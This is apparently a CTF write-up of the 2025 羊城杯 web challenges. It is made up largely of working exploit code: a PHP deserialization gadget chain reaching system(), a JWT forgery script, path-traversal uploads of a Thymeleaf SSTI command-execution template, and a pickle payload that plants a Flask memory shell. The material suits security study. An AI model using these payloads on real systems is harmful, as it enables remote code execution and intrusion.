2025-羊城杯-Web

exp3n5ive Lv1

ez_unserialize

小写绕正则即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
<?php

error_reporting(0);

class A
{
public $first;
public $step;
public $next;

public function __construct()
{
// $this->first = "继续加油!";
}


public function start()
{
// toString
// echo $this->next;
}
}

class E
{
private $you;
public $found;
private $secret = "admin123";

public function __get($name)
{
// if ($name === "secret") {
// echo "<br>" . $name . " maybe is here!</br>";
// // F.check
// $this->found->check();
// }
}
}

class F
{
public $fifth;
public $step;
public $finalstep;

public function check()
{
// if (preg_match("/U/", $this->finalstep)) {
// echo "仔细想想!";
// } else {
// $this->step = new $this->finalstep();
// // invoke
// ($this->step)();
// }
}
}

class H
{
public $who;
public $are;
public $you;

// public function __construct()
// {
// $this->you = "nobody";
// }
//
// public function __destruct()
// {
// // 开始
// $this->who->start();
// }
}

class N
{
public $congratulation;
public $yougotit;

// public function __call(string $func_name, array $args)
// {
// // sink
// return call_user_func($func_name, $args[0]);
// }
}

class U
{
public $almost;
public $there;
public $cmd;

// public function __construct()
// {
// $this->there = new N();
// $this->cmd = $_POST['cmd'];
// }
//
// public function __invoke()
// {
// // call
// return $this->there->system($this->cmd);
// }
}

class V
{
public $good;
public $keep;
public $dowhat;
public $go;

// public function __toString()
// {
// $abc = $this->dowhat;
// // __get
// $this->go->$abc;
// return "<br>Win!!!</br>";
// }
}
//\H::__destruct
//\A::start
//\V::__toString
//\E::__get
//\F::check
//\U::__invoke
//\N::__call

$h = new H();
$h -> who = new A();
$h -> who -> next = new V();
$h -> who -> next -> dowhat = "secret";
$h -> who -> next -> go = new E();
$h -> who -> next -> go -> found = new F();
$h -> who -> next -> go -> found -> finalstep = "u";

print_r(urlencode(serialize($h)));
?>

authweb

有一个上传文件的接口 :

需要 user 的 jwt 才能上传文件 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.example.demo;

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configurers.AuthorizeHttpRequestsConfigurer;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.web.SecurityFilterChain;
import org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter;

@Configuration
public class SecurityConfig {
private final JwtTokenProvider jwtTokenProvider;

public SecurityConfig(JwtTokenProvider jwtTokenProvider) {
this.jwtTokenProvider = jwtTokenProvider;
}

@Bean
public UserDetailsService userDetailsService() {
return new InMemoryUserDetailsService();
}

@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
((HttpSecurity)http.csrf().disable()).authorizeHttpRequests((authz) -> ((AuthorizeHttpRequestsConfigurer.AuthorizedUrl)((AuthorizeHttpRequestsConfigurer.AuthorizedUrl)((AuthorizeHttpRequestsConfigurer.AuthorizedUrl)authz.requestMatchers(new String[]{"/upload"})).hasRole("USER").requestMatchers(new String[]{"/"})).hasRole("USER").anyRequest()).permitAll()).addFilterBefore(new JwtAuthenticationFilter(this.jwtTokenProvider, this.userDetailsService()), UsernamePasswordAuthenticationFilter.class).formLogin((form) -> form.loginPage("/login/dynamic-template?value=login").permitAll());
return (SecurityFilterChain)http.build();
}
}

用代码里的 secret 伪造 jwt :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import jwt
import datetime

secret = "25d55ad283aa400af464c76d713c07add57f21e6a273781dbf8b7657940f3b03"

payload = {
'sub': 'user1',
'iat': datetime.datetime.utcnow(),
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=24)
}

token = jwt.encode(payload, secret, algorithm='HS256')

print("生成的JWT Token:")
print(token)

try:
decoded = jwt.decode(token, secret, algorithms=['HS256'])
print("\n验证成功,解码后的内容:")
print(decoded)
except jwt.InvalidTokenError:
print("Token验证失败")

ezsignin

由于目标有 thymeleaf 依赖 , 又有上传功能 , 很明显是打 SSTI , 在配置文件中可以看到模板文件位于 templates/

于是可以目录穿越上传模板文件

先传要执行的命令放在文件里面传上去 :

1
2
3
4
5
6
7
8
9
10
11
12
POST /upload?imgName=../templates/23 HTTP/1.1
Host: 45.40.247.139:27783
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3Q5lUoVRliGsjlyW
Content-Length: 139
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMSIsImlhdCI6MTc2MDE2MTcyNiwiZXhwIjoxNzYwMjQ4MTI2fQ.Bsr4jGmkZCQEBL8Kon6V2VPIotQp7Rau68R3qt-JOps

------WebKitFormBoundary3Q5lUoVRliGsjlyW
Content-Disposition: form-data; name="imgFile"; filename="../templates/23"

env > ./templates/env1.html
------WebKitFormBoundary3Q5lUoVRliGsjlyW--

然后会生成一个 23.html 文件 , 接着我们上传 poc , 执行的命令是用 sh 去运行刚才的文件 :

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /upload?imgName=../templates/24 HTTP/1.1
Host: 45.40.247.139:27783
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3Q5lUoVRliGsjlyW
Content-Length: 139
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMSIsImlhdCI6MTc2MDE2MTcyNiwiZXhwIjoxNzYwMjQ4MTI2fQ.Bsr4jGmkZCQEBL8Kon6V2VPIotQp7Rau68R3qt-JOps

------WebKitFormBoundary3Q5lUoVRliGsjlyW
Content-Disposition: form-data; name="imgFile"; filename="../templates/24"

<html lang="en" xmlns:th="http://www.thymeleaf.org">
<p th:text='${__${new.org..apache.tomcat.util.IntrospectionUtils().getClass().callMethodN(new.org..apache.tomcat.util.IntrospectionUtils().getClass().callMethodN(new.org..apache.tomcat.util.IntrospectionUtils().getClass().findMethod(new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("java.lang.Runtime"),"getRuntime",null),"invoke",{null,null},{new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("java.lang.Object"),new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("org."+"thymeleaf.util.ClassLoaderUtils").loadClass("[Ljava.lang.Object;")}),"exec","sh ./templates/23.html",new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("java.lang.String"))}__}'></p>
------WebKitFormBoundary3Q5lUoVRliGsjlyW--

接着访问 /login/dynamic-template?value=24 去触发 payload

最后访问 /login/dynamic-template?value=env1 就可以看到命令执行的结果

ez_blog

访问目标 , 提示访客只能用访客账号登录 :

guest : guest 成功登录进去

将 Cookie 中的 Token 十六进制解码可以看到一些可疑字符串 :

问 ai 可以知道这是一段 pickle 序列化数据 , 于是尝试打内存马 :

1
2
3
4
5
6
7
8
import os
import pickle
import base64
class Evil():
def __reduce__(self):
return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()",))

print((pickle.dumps(Evil()).hex()))
1
/a?cmd=cat%20/thisisthefffflllaaaggg.txt

staticNodeService

可以 PUT 上传文件 :

但是文件名不能以 js 结尾 :

/. 绕过 :

  • Title: 2025-羊城杯-Web
  • Author: exp3n5ive
  • Created at : 2025-10-13 17:33:43
  • Updated at : 2025-10-13 17:45:09
  • Link: https://exp3n5ive.github.io/2025/10/13/羊城杯-2025/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
2025-羊城杯-Web